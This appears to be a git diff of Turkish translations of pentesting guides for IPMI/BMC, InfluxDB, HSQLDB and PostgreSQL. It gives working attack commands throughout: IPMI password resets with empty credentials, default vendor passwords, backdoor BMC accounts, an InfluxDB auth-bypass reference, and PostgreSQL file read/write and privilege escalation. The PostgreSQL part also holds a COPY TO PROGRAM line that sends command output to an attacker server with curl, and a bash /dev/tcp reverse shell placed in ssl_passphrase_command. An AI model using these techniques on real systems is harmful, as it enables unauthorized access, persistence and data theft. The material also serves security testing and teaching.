@ -71,31 +69,31 @@ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI Düz Metin Parolaları**
IPMI 2.0'daki kritik bir tasarım tercihi, kimlik doğrulama amaçları için BMC'lerde düz metin parolalarının depolanmasını gerektirir. Supermicro'nun bu parolaları `/nv/PSBlock` veya `/nv/PSStore` gibi yerlerde depolaması, önemli güvenlik endişeleri doğurmaktadır:
IPMI 2.0'daki kritik bir tasarım seçeneği, kimlik doğrulama amaçları için BMC'lerde düz metin parolalarının depolanmasını gerektirir. Supermicro'nun bu parolaları `/nv/PSBlock` veya `/nv/PSStore` gibi yerlerde depolaması, önemli güvenlik endişeleri doğurmaktadır:
```bash
cat /nv/PSBlock
```
### **Supermicro IPMI UPnP Açığı**
Supermicro'nun IPMI firmware'ında, özellikle UDP port 1900'de bir UPnP SSDP dinleyicisi bulundurması, ciddi bir güvenlik riski oluşturur. [Rapid7'nin ıklamasında](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) detaylandırıldığı gibi, UPnP Cihazları için Intel SDK sürüm 1.3.1'deki açıklar, BMC'ye root erişimi sağlar:
Supermicro'nun IPMI firmware'ında, özellikle UDP port 1900'de bir UPnP SSDP dinleyicisi bulundurması, ciddi bir güvenlik riski oluşturur. [Rapid7'nin ifşasında](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) detaylandırıldığı gibi, UPnP Cihazları için Intel SDK sürüm 1.3.1'deki açıklar, BMC'ye root erişimi sağlar:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
**HP, üretim sırasında varsayılan şifreyi rastgele belirler** ve bu, **Integrated Lights Out (iLO)** ürünleri için geçerlidir. Bu uygulama, genellikle **statik varsayılan kimlik bilgileri** kullanan diğer üreticilerle tezat oluşturur. Çeşitli ürünler için varsayılan kullanıcı adları ve şifrelerin özeti aşağıda verilmiştir:
**HP, üretim sırasında varsayılan şifreyi rastgele belirler** ve bu, **Entegre Işıklar Kapalı (iLO)** ürünü için geçerlidir. Bu uygulama, genellikle **statik varsayılan kimlik bilgileri** kullanan diğer üreticilerle tezat oluşturur. Çeşitli ürünler için varsayılan kullanıcı adları ve şifrelerin özeti aşağıda verilmiştir:
- **HP Integrated Lights Out (iLO)**, varsayılan şifre olarak **fabrika tarafından rastgele oluşturulmuş 8 karakterli bir dize** kullanır ve bu, daha yüksek bir güvenlik seviyesini gösterir.
- **HP Entegre Işıklar Kapalı (iLO)**, varsayılan şifre olarak **fabrika rastgele belirlenmiş 8 karakterli bir dize** kullanır ve bu, daha yüksek bir güvenlik seviyesini gösterir.
- **Dell'in iDRAC, IBM'in IMM** ve **Fujitsu'nun Entegre Uzaktan Yönetim Kontrolörü** gibi ürünler, sırasıyla "calvin", "PASSW0RD" (sıfır ile) ve "admin" gibi kolay tahmin edilebilir şifreler kullanır.
- Benzer şekilde, **Supermicro IPMI (2.0), Oracle/Sun ILOM** ve **ASUS iKVM BMC** de "ADMIN", "changeme" ve "admin" gibi basit varsayılan kimlik bilgileri kullanmaktadır.
## Accessing the Host via BMC
Baseboard Management Controller (BMC) üzerinden yönetimsel erişim, ana bilgisayarın işletim sistemine erişim için çeşitli yollar açar. Basit bir yaklaşım, BMC'nin Klavye, Video, Fare (KVM) işlevselliğini kullanmaktır. Bu, ana bilgisayarı GRUB üzerinden bir root shell'e yeniden başlatarak (`init=/bin/sh` kullanarak) veya kurtarma diski olarak ayarlanmış sanal bir CD-ROM'dan başlatarak yapılabilir. Bu yöntemler, ana bilgisayarın diskini doğrudan manipüle etmeye, arka kapılar eklemeye, veri çıkarmaya veya güvenlik değerlendirmesi için gerekli herhangi bir eylemi gerçekleştirmeye olanak tanır. Ancak, bu ana bilgisayarın yeniden başlatılmasını gerektirir, bu da önemli bir dezavantajdır. Yeniden başlatmadan, çalışan ana bilgisayara erişim daha karmaşık hale gelir ve ana bilgisayarın yapılandırmasına bağlı olarak değişir. Ana bilgisayarın fiziksel veya seri konsolu oturum açmış durumda kalırsa, BMC'nin KVM veya seri üzerinden LAN (sol) işlevselliği aracılığıyla `ipmitool` kullanılarak kolayca ele geçirilebilir. Paylaşılan donanım kaynaklarının, örneğin i2c veri yolu ve Super I/O çipi gibi, istismarını araştırmak, daha fazla inceleme gerektiren bir alandır.
Ana Kart Yönetim Kontrolörü (BMC) üzerinden yönetici erişimi, ana bilgisayarın işletim sistemine erişim için çeşitli yollar açar. Basit bir yaklaşım, BMC'nin Klavye, Video, Fare (KVM) işlevselliğini kullanmaktır. Bu, ana bilgisayarı GRUB üzerinden bir root shell'e yeniden başlatarak (`init=/bin/sh` kullanarak) veya kurtarma diski olarak ayarlanmış sanal bir CD-ROM'dan başlatarak yapılabilir. Bu yöntemler, ana bilgisayarın diskini doğrudan manipüle etmeye, arka kapılar eklemeye, veri çıkarmaya veya güvenlik değerlendirmesi için gerekli diğer eylemleri gerçekleştirmeye olanak tanır. Ancak, bu ana bilgisayarı yeniden başlatmayı gerektirir, bu da önemli bir dezavantajdır. Yeniden başlatmadan, çalışan ana bilgisayara erişim daha karmaşık hale gelir ve ana bilgisayarın yapılandırmasına bağlı olarak değişir. Ana bilgisayarın fiziksel veya seri konsolu oturum açmış durumda kalırsa, BMC'nin KVM veya seri üzerinden LAN (sol) işlevselliği aracılığıyla `ipmitool` kullanılarak kolayca ele geçirilebilir. Paylaşılan donanım kaynaklarının, örneğin i2c veri yolu ve Süper I/O çipi gibi, istismarını araştırmak daha fazla inceleme gerektiren bir alandır.
## Introducing Backdoors into BMC from the Host
BMC ile donatılmış bir ana bilgisayarı ele geçirdikten sonra, **yerel BMC arayüzü kullanılarak bir arka kapı kullanıcı hesabı eklenebilir**, bu da sunucuda kalıcı bir varlık oluşturur. Bu saldırı, ele geçirilen ana bilgisayarda **`ipmitool`** bulunmasını ve BMC sürücü desteğinin etkinleştirilmesini gerektirir. Aşağıdaki komutlar, kimlik doğrulama gereksinimini atlayarak ana bilgisayarın yerel arayüzü kullanılarak BMC'ye yeni bir kullanıcı hesabının nasıl enjekte edilebileceğini göstermektedir. Bu teknik, Linux, Windows, BSD ve hatta DOS dahil olmak üzere geniş bir işletim sistemi yelpazesine uygulanabilir.
BMC ile donatılmış bir ana bilgisayarı tehlikeye attıktan sonra, **yerel BMC arayüzü kullanılarak bir arka kapı kullanıcı hesabı eklenebilir**, bu da sunucuda kalıcı bir varlık oluşturur. Bu saldırı, tehlikeye atılmış ana bilgisayarda **`ipmitool`** bulunmasını ve BMC sürücü desteğinin etkinleştirilmesini gerektirir. Aşağıdaki komutlar, kimlik doğrulama gereksinimini atlayarak ana bilgisayarın yerel arayüzü kullanılarak BMC'ye yeni bir kullanıcı hesabının nasıl enjekte edilebileceğini göstermektedir. Bu teknik, Linux, Windows, BSD ve hatta DOS dahil olmak üzere geniş bir işletim sistemi yelpazesine uygulanabilir.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
@ -115,7 +113,7 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
- `port:623`
## Referanslar
## References
- [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)

View File

@ -1,11 +1,10 @@
# 8086 - Pentesting InfluxDB
{{#include ../banners/hacktricks-training.md}}
## Temel Bilgiler
**InfluxDB**, InfluxData tarafından geliştirilen açık kaynaklı bir **zaman serisi veritabanı (TSDB)**'dir. TSDB'ler, zaman damgası-değer çiftlerinden oluşan zaman serisi verilerini depolamak ve sunmak için optimize edilmiştir. Genel amaçlı veritabanlarıyla karşılaştırıldığında, TSDB'ler zaman serisi veri setleri için **depolama alanı** ve **performans**ısından önemli iyileştirmeler sunar. Özel sıkıştırma algoritmaları kullanırlar ve eski verileri otomatik olarak kaldıracak şekilde yapılandırılabilirler. Özel veritabanı indeksleri de sorgu performansını artırır.
**InfluxDB**, InfluxData tarafından geliştirilen açık kaynaklı bir **zaman serisi veritabanı (TSDB)**'dir. TSDB'ler, zaman damgası-değer çiftlerinden oluşan zaman serisi verilerini depolamak ve sunmak için optimize edilmiştir. Genel amaçlı veritabanlarıyla karşılaştırıldığında, TSDB'ler zaman serisi veri setleri için **depolama alanı** ve **performans**ısından önemli iyileştirmeler sağlar. Özel sıkıştırma algoritmaları kullanırlar ve eski verileri otomatik olarak kaldıracak şekilde yapılandırılabilirler. Özel veritabanı indeksleri de sorgu performansını artırır.
**Varsayılan port**: 8086
```
@ -24,11 +23,11 @@ InfluxDB kimlik doğrulaması gerektirebilir veya gerektirmeyebilir.
influx -host 'host name' -port 'port #'
> use _internal
```
Eğer bu tür bir hata alıyorsanız: `ERR: unable to parse authentication credentials`, bu, **bazı kimlik bilgileri beklediği** anlamına gelir.
Eğer bu tür bir hata alırsanız: `ERR: unable to parse authentication credentials`, bu, **bazı kimlik bilgileri beklediği** anlamına gelir.
```
influx username influx password influx_pass
```
InfluxDB'de kimlik doğrulamasını atlamaya izin veren bir güvenlikığı vardı: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)
Bir kimlik doğrulama atlatmaya izin veren bir InfluxDBığı vardı: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)
### Manuel Sayım
@ -47,7 +46,7 @@ _internal
```
#### Tablo/ölçümleri göster
The [**InfluxDB documentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) **ölçümlerin** InfluxDB'deki SQL tablolarıyla paralel olduğunu açıklar. Bu **ölçümlerin** adlandırması, her birinin belirli bir varlıkla ilgili verileri barındırdığını gösterir.
The [**InfluxDB documentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) explains that **ölçümler** in InfluxDB can be paralleled with SQL tabloları. The nomenclature of these **ölçümler** is indicative of their respective content, each housing data relevant to a particular entity.
```bash
> show measurements
name: measurements
@ -97,7 +96,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
```
> [!WARNING]
> Kimlik doğrulama atlatma ile yapılan bazı testlerde, tablonun adının çift tırnak içinde olması gerektiği belirtildi: `select * from "cpu"`
> Kimlik doğrulama atlatması ile yapılan bazı testlerde, tablonun adının çift tırnak içinde olması gerektiği belirtildi: `select * from "cpu"`
### Otomatik Kimlik Doğrulama
```bash

View File

@ -1,6 +1,8 @@
# 9001 - Pentesting HSQLDB
{{#include ../banners/hacktricks-training.md}}
# Temel Bilgiler
## Temel Bilgiler
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)**, Java ile yazılmış önde gelen SQL ilişkisel veritabanı sistemidir. Bellek içi ve disk tabanlı tablolarla küçük, hızlı çok iş parçacıklı ve işlem tabanlı bir veritabanı motoru sunar ve gömülü ve sunucu modlarını destekler.
@ -8,29 +10,27 @@
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# Bilgi
## Varsayılan Ayarlar
### Varsayılan Ayarlar
Bu hizmetin varsayılan olarak muhtemelen bellekte çalıştığını veya localhost'a bağlı olduğunu unutmayın. Eğer bunu bulduysanız, muhtemelen başka bir hizmeti istismar ettiniz ve yetkileri artırmaya çalışıyorsunuzdur.
Bu hizmetin varsayılan olarak muhtemelen bellekte çalıştığını veya localhost'a bağlı olduğunu unutmayın. Eğer bunu bulduysanız, muhtemelen başka bir hizmeti istismar ettiniz ve ayrıcalıkları artırmaya çalışıyorsunuzdur.
Varsayılan kimlik bilgileri genellikle `sa` ve boş bir şifre ile gelir.
Başka bir hizmeti istismar ettiyseniz, olası kimlik bilgilerini arayın.
Eğer başka bir hizmeti istismar ettiyseniz, olası kimlik bilgilerini aramak için
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Veritabanı adını dikkatlice not edin - bağlanmak için buna ihtiyacınız olacak.
Not edin, veritabanı adını dikkatlice not alın - bağlanmak için buna ihtiyacınız olacak.
# Bilgi Toplama
## Bilgi Toplama
DB örneğine bağlanmak için [HSQLDB'yi indirerek](https://sourceforge.net/projects/hsqldb/files/) `hsqldb/lib/hsqldb.jar` dosyasını çıkarın. GUI uygulamasını \(eww\) `java -jar hsqldb.jar` komutuyla çalıştırın ve keşfedilen/zayıf kimlik bilgilerini kullanarak örneğe bağlanın.
Bağlantı URL'sinin uzaktan bir sistem için şöyle görüneceğini unutmayın: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Hileler
## Hileler
## Java Dil Rutinleri
### Java Dil Rutinleri
HSQLDB'den Java sınıfının statik yöntemlerini çağırabiliriz. Çağrılan sınıfın uygulamanın classpath'inde olması gerektiğini unutmayın.
@ -38,7 +38,7 @@ JRT'ler `fonksiyonlar` veya `prosedürler` olabilir. Fonksiyonlar, Java yöntemi
Çağırmak istediğimiz Java yöntemi void döndürüyorsa, `CALL` ifadesi ile çağrılan bir prosedür kullanmamız gerekir.
## Java Sistem Özelliklerini Okuma
### Java Sistem Özelliklerini Okuma
Fonksiyon oluştur:
```text
@ -52,9 +52,9 @@ VALUES(getsystemproperty('user.name'))
```
Aşağıda bir [sistem özellikleri listesi bulabilirsiniz](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Dosyaya İçerik Yazma
### Dosyaya İçerik Yazma
Hex kodlu öğeleri diske yazmak için uygulamanın sınıf yoluna otomatik olarak yüklenen JDK'da bulunan `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java aracı kullanılabilir. **Maksimum boyutun 1024 byte olduğunu unutmayın**.
Hex kodlu öğeleri diske yazmak için uygulamanın sınıf yoluna otomatik olarak yüklenen JDK'da bulunan `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget'ını özel bir prosedür aracılığıyla kullanabilirsiniz. **Maksimum boyutun 1024 bayt olduğunu unutmayın**.
Prosedürü oluşturun:
```text

View File

@ -1,11 +1,10 @@
# 5432,5433 - Pentesting Postgresql
{{#include ../banners/hacktricks-training.md}}
## **Temel Bilgiler**
**PostgreSQL**, **açık kaynak** olan bir **nesne-ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem yalnızca SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle onu geliştirir. Yetenekleri, geniş bir veri türü ve işlem yelpazesini yönetmesine olanak tanır, bu da onu geliştiriciler ve organizasyonlar için çok yönlü bir seçim haline getirir.
**PostgreSQL**, **açık kaynak** bir **nesne-ilişkisel veritabanı sistemi** olarak tanımlanmaktadır. Bu sistem yalnızca SQL dilini kullanmakla kalmaz, aynı zamanda ek özelliklerle onu geliştirir. Yetenekleri, geniş bir veri türü ve işlem yelpazesini yönetmesine olanak tanır, bu da onu geliştiriciler ve organizasyonlar için çok yönlü bir seçim haline getirir.
**Varsayılan port:** 5432, ve bu port zaten kullanılıyorsa, postgresql'in kullanılmayan bir sonraki portu (muhtemelen 5433) kullanacağı görünmektedir.
```
@ -55,7 +54,7 @@ SELECT * FROM pg_extension;
> [!WARNING]
> Eğer **`\list`** komutunu çalıştırdığınızda **`rdsadmin`** adında bir veritabanı bulursanız, bir **AWS postgresql veritabanası** içinde olduğunuzu bilirsiniz.
**PostgreSQL veritabanını nasıl kötüye kullanacağınız** hakkında daha fazla bilgi için kontrol edin:
Daha fazla bilgi için **PostgreSQL veritabanını nasıl kötüye kullanacağınız** hakkında kontrol edin:
{{#ref}}
../pentesting-web/sql-injection/postgresql-injection/
@ -70,7 +69,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
### **Port taraması**
[**Bu araştırmaya**](https://www.exploit-db.com/papers/13084) göre, bir bağlantı denemesi başarısız olduğunda, `dblink` bir `sqlclient_unable_to_establish_sqlconnection` istisnası fırlatır ve hata hakkında bir açıklama içerir. Bu detayların örnekleri aşağıda listelenmiştir.
[**Bu araştırmaya**](https://www.exploit-db.com/papers/13084) göre, bir bağlantı denemesi başarısız olduğunda, `dblink` bir hata açıklaması içeren `sqlclient_unable_to_establish_sqlconnection` istisnası fırlatır. Bu detayların örnekleri aşağıda listelenmiştir.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
@ -93,7 +92,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
ve
or
```
DETAIL: FATAL: password authentication failed for user "name"
```
@ -102,7 +101,7 @@ DETAIL: FATAL: password authentication failed for user "name"
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
PL/pgSQL fonksiyonlarında, şu anda istisna ayrıntılarını elde etmek mümkün değildir. Ancak, PostgreSQL sunucusuna doğrudan erişiminiz varsa, gerekli bilgileri alabilirsiniz. Sistem tablolarından kullanıcı adları ve şifreleri çıkarmak mümkün değilse, önceki bölümde tartışılan kelime listesi saldırı yöntemini kullanmayı düşünebilirsiniz, çünkü bu olumlu sonuçlar verebilir.
PL/pgSQL fonksiyonlarında, şu anda istisna detaylarını elde etmek mümkün değildir. Ancak, PostgreSQL sunucusuna doğrudan erişiminiz varsa, gerekli bilgileri alabilirsiniz. Sistem tablolarından kullanıcı adları ve şifreleri çıkarmak mümkün değilse, önceki bölümde tartışılan kelime listesi saldırı yöntemini kullanmayı düşünebilirsiniz, çünkü bu potansiyel olarak olumlu sonuçlar verebilir.
## Ayrıcalıkların Sayımı
@ -110,26 +109,26 @@ PL/pgSQL fonksiyonlarında, şu anda istisna ayrıntılarını elde etmek mümk
| Rol Türleri | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | Rol süper kullanıcı ayrıcalıklarına sahiptir |
| rolinherit | Rol, üyesi olduğu rollerin ayrıcalıklarını otomatik olarak devralır |
| rolcreaterole | Rol daha fazla rol oluşturabilir |
| rolcreatedb | Rol veritabanları oluşturabilir |
| rolcanlogin | Rol giriş yapabilir. Yani, bu rol başlangıç oturum yetkilendirme tanımlayıcısı olarak verilebilir |
| rolsuper | Rol süper kullanıcı ayrıcalıklarına sahiptir. |
| rolinherit | Rol, üyesi olduğu rollerin ayrıcalıklarını otomatik olarak devralır. |
| rolcreaterole | Rol daha fazla rol oluşturabilir. |
| rolcreatedb | Rol veritabanları oluşturabilir. |
| rolcanlogin | Rol giriş yapabilir. Yani, bu rol başlangıç oturum yetkilendirme tanımlayıcısı olarak verilebilir. |
| rolreplication | Rol bir çoğaltma rolüdür. Bir çoğaltma rolü, çoğaltma bağlantılarını başlatabilir ve çoğaltma slotlarını oluşturup kaldırabilir. |
| rolconnlimit | Giriş yapabilen roller için, bu rolün yapabileceği maksimum eşzamanlı bağlantı sayısını ayarlar. -1 sınırsız anlamına gelir. |
| rolpassword | Şifre değil (her zaman `********` olarak okunur) |
| rolvaliduntil | Şifre son kullanma zamanı (sadece şifre kimlik doğrulaması için kullanılır); son kullanma yoksa null |
| rolconnlimit | Giriş yapabilen roller için, bu rolün yapabileceği maksimum eşzamanlı bağlantı sayısını ayarlar. -1 sınırsız anlamına gelir. |
| rolpassword | Şifre değil (her zaman `********` olarak okunur). |
| rolvaliduntil | Şifre son kullanma zamanı (sadece şifre kimlik doğrulaması için kullanılır); son kullanma tarihi yoksa null. |
| rolbypassrls | Rol, her satır düzeyinde güvenlik politikasını atlar, daha fazla bilgi için [Bölüm 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) bakın. |
| rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özel varsayılanları |
| oid | Rolün kimliği |
| rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özel varsayılanları. |
| oid | Rolün kimliği. |
#### İlginç Gruplar
- Eğer **`pg_execute_server_program`** üyesiyseniz, programları **çalıştırabilirsiniz**
- Eğer **`pg_read_server_files`** üyesiyseniz, dosyaları **okuyabilirsiniz**
- Eğer **`pg_write_server_files`** üyesiyseniz, dosyaları **yazabilirsiniz**
- Eğer **`pg_execute_server_program`** üyesiyseniz, programları **çalıştırabilirsiniz**.
- Eğer **`pg_read_server_files`** üyesiyseniz, dosyaları **okuyabilirsiniz**.
- Eğer **`pg_write_server_files`** üyesiyseniz, dosyaları **yazabilirsiniz**.
> [!NOTE]
> [!TIP]
> Postgres'te bir **kullanıcı**, bir **grup** ve bir **rol** **aynıdır**. Bu sadece **nasıl kullandığınıza** ve **giriş yapmasına izin verip vermediğinize** bağlıdır.
```sql
# Get users roles
@ -212,7 +211,7 @@ SELECT * FROM pg_proc;
### Dizinleri ve dosyaları oku
Bu [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) ile tanımlanan **`DEFAULT_ROLE_READ_SERVER_FILES`** grubunun (adı **`pg_read_server_files`**) ve **süper kullanıcıların** herhangi bir yolda **`COPY`** yöntemini kullanabilirler (bakınız `convert_and_check_filename` `genfile.c` içinde):
Bu [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) ile tanımlanan **`DEFAULT_ROLE_READ_SERVER_FILES`** grubunun (adlandırılan **`pg_read_server_files`**) ve **süper kullanıcıların** herhangi bir yol üzerinde **`COPY`** yöntemini kullanabilirler (bakınız `convert_and_check_filename` `genfile.c` içinde):
```sql
# Read file
CREATE TABLE demo(t text);
@ -228,7 +227,7 @@ SELECT * FROM demo;
>
> [**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
**Dosya okumak veya bir dizini listelemek için** kullanılabilecek **diğer postgres fonksiyonları** vardır. Sadece **süper kullanıcılar** ve **açık izinlere sahip kullanıcılar** bunları kullanabilir:
**Dosya okumak veya bir dizini listelemek için kullanılabilecek diğer postgres fonksiyonları** vardır. Sadece **süper kullanıcılar** ve **açık izinlere sahip kullanıcılar** bunları kullanabilir:
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
@ -269,7 +268,7 @@ copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/ju
>
> [**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
COPY'nin yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle bir base64 yükü kullanıyor olsanız bile **tek satırlık bir komut göndermeniz gerekir.**\
COPY'nin yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle base64 yükü kullanıyor olsanız bile **tek satırlık bir komut göndermeniz gerekir.**\
Bu tekniğin çok önemli bir sınırlaması, **`copy`'nin bazı ikili değerleri değiştirdiği için ikili dosyaları yazmak için kullanılamamasıdır.**
### **İkili dosya yükleme**
@ -282,9 +281,9 @@ Ancak, **büyük ikili dosyaları yüklemek için başka teknikler vardır:**
### Yerel dosya yazma yoluyla PostgreSQL tablo verilerini güncelleme
### Yerel dosya yazımı ile PostgreSQL tablo verilerini güncelleme
PostgreSQL sunucu dosyalarını okuma ve yazma yetkiniz varsa, **ilişkili dosya düğümünü** [PostgreSQL veri dizininde](https://www.postgresql.org/docs/8.1/storage.html) güncelleyebilirsiniz. **Bu teknik hakkında daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
PostgreSQL sunucu dosyalarını okuma ve yazma yetkiniz varsa, **ilişkili dosya düğümünü** [PostgreSQL veri dizininde](https://www.postgresql.org/docs/8.1/storage.html) değiştirerek sunucudaki herhangi bir tabloyu güncelleyebilirsiniz. **Bu teknik hakkında daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Gerekli adımlar:
@ -294,9 +293,9 @@ Gerekli adımlar:
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**Not:** Eğer ayarlardan mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu ile PostgreSQL'in ana sürümünü sorgulayabilir ve yolu brute-force ile denemeye çalışabilirsiniz. PostgreSQL'in Unix kurulumlarındaki yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir.
**Not:** Eğer ayarlardan mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu ile PostgreSQL ana sürümünü sorgulayabilir ve yolu brute-force ile bulmaya çalışabilirsiniz. PostgreSQL'in Unix kurulumlarındaki yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir.
2. Hedef tablo ile ilişkili dosya düğümüne göre bir göreli yol elde edin
2. Hedef tablo ile ilişkili dosya düğümüne göre göreli bir yol elde edin
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
@ -310,7 +309,7 @@ Bu sorgu `base/3/1337` gibi bir şey döndürmelidir. Diskteki tam yol `$DATA_DI
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
```
4. Hedef tablo ile ilişkili veri türünü alın
4. Hedef tablo ile ilişkili veri tipini alın
```sql
SELECT
@ -332,7 +331,7 @@ ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) kullanarak [dosya düğümünü düzenleyin](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); tüm `rol*` boolean bayraklarını tam izinler için 1 olarak ayarlayın.
5. [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) kullanarak [dosya düğümünü](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users) düzenleyin; tam izinler için tüm `rol*` boolean bayraklarını 1 olarak ayarlayın.
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
@ -361,7 +360,7 @@ Ayrıca `pg_authid` tablosunu düzenleyerek süperadmin olabilirsiniz. **Bakın
### **Program için RCE**
[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren, yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri RCE için copy kullanabilir (sızdırma örneği:
[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren, yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri RCE için copy kullanabilir (sızdırma ile örnek:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
@ -406,10 +405,10 @@ Bu güvenlik açığı hakkında daha fazla bilgi [**burada**](https://medium.co
### PostgreSQL yapılandırma dosyası RCE
> [!NOTE]
> [!TIP]
> Aşağıdaki RCE vektörleri, tüm adımların iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebileceği kısıtlı SQLi bağlamlarında özellikle yararlıdır.
PostgreSQL'in **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir**, bu nedenle **süper kullanıcı** olarak, dosya sisteminde dosyalar yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz.**
PostgreSQL'ün **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir**, bu nedenle **süper kullanıcı** olarak, dosya sisteminde dosyalar yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz.**
![](<../images/image (322).png>)
@ -417,38 +416,38 @@ PostgreSQL'in **yapılandırma dosyası**, veritabanını çalıştıran **postg
Bu teknik hakkında daha fazla bilgi [burada](https://pulsesecurity.co.nz/articles/postgres-sqli).
Yapılandırma dosyasında RCE'ye yol açabilecek bazı ilginç özellikler vardır:
Yapılandırma dosyasında RCE'ye yol açabilecek bazı ilginç nitelikler vardır:
- `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Veritabanının özel anahtarının yolu
- `ssl_passphrase_command = ''` Özel dosya şifreyle korunuyorsa (şifreli) postgresql **bu özellikte belirtilen komutu çalıştıracaktır**.
- `ssl_passphrase_command_supports_reload = off` **Eğer** bu özellik **açık** ise, şifreyle korunan anahtar için **çalıştırılan komut**, `pg_reload_conf()` **çalıştırıldığında** **çalıştırılacaktır**.
- `ssl_passphrase_command = ''` Özel dosya şifreyle korunuyorsa (şifrelenmiş) postgresql **bu nitelikte belirtilen komutu çalıştıracaktır**.
- `ssl_passphrase_command_supports_reload = off` **Eğer** bu nitelik **açık** ise, anahtar şifreyle korunuyorsa **çalıştırılacak** **komut**, `pg_reload_conf()` **çalıştırıldığında** **çalıştırılacaktır**.
Sonra, bir saldırganın yapması gerekenler:
O zaman bir saldırganın yapması gerekenler:
1. Sunucudan **özel anahtarı dökme**
2. İndirilen özel anahtarı **şifreleme**:
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **Üzerine yazma**
4. Mevcut postgresql **yapılandırmasını dökme**
5. **Yapılandırmayı** belirtilen özellikler ile üzerine yazma:
5. **Yapılandırmayı** belirtilen niteliklerin yapılandırmasıyla **üzerine yazma**:
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
2. `ssl_passphrase_command_supports_reload = on`
6. `pg_reload_conf()`'ü çalıştırma
